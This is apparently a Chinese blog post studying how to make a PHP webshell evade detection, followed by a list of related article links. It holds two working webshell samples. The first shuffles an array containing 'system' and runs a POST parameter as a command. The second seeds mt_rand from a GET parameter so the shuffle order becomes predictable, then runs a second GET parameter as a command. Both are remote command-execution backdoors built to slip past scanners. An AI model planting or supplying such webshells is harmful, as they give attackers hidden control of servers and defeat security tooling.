记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
呱呱巨基7 小时前
Linux 进程概念
linux·c++·笔记·学习
yong15858553438 小时前
2. Linux C++ muduo 库学习——原子变量操作头文件
linux·c++·学习
IDIOT___IDIOT9 小时前
KNN and K-means 监督与非监督学习
学习·算法·kmeans
Rousson9 小时前
硬件学习笔记--91 TMR型互感器介绍
笔记·学习
常家壮10 小时前
Windows隐藏账号创建完全指南:技术原理与安全实践
windows·安全·渗透测试·后门·windows隐藏账号
前端 贾公子10 小时前
Vue响应式原理学习:基本原理
javascript·vue.js·学习
Slaughter信仰10 小时前
图解大模型_生成式AI原理与实战学习笔记前四张问答(7题)
人工智能·笔记·学习
绿蕉11 小时前
ICDT智能底盘测试标准体系:筑智能驾驶的安全基座
安全
2401_8345170711 小时前
AD学习笔记-26 Active Routing
笔记·学习
QiZhang | UESTC12 小时前
学习日记day45
学习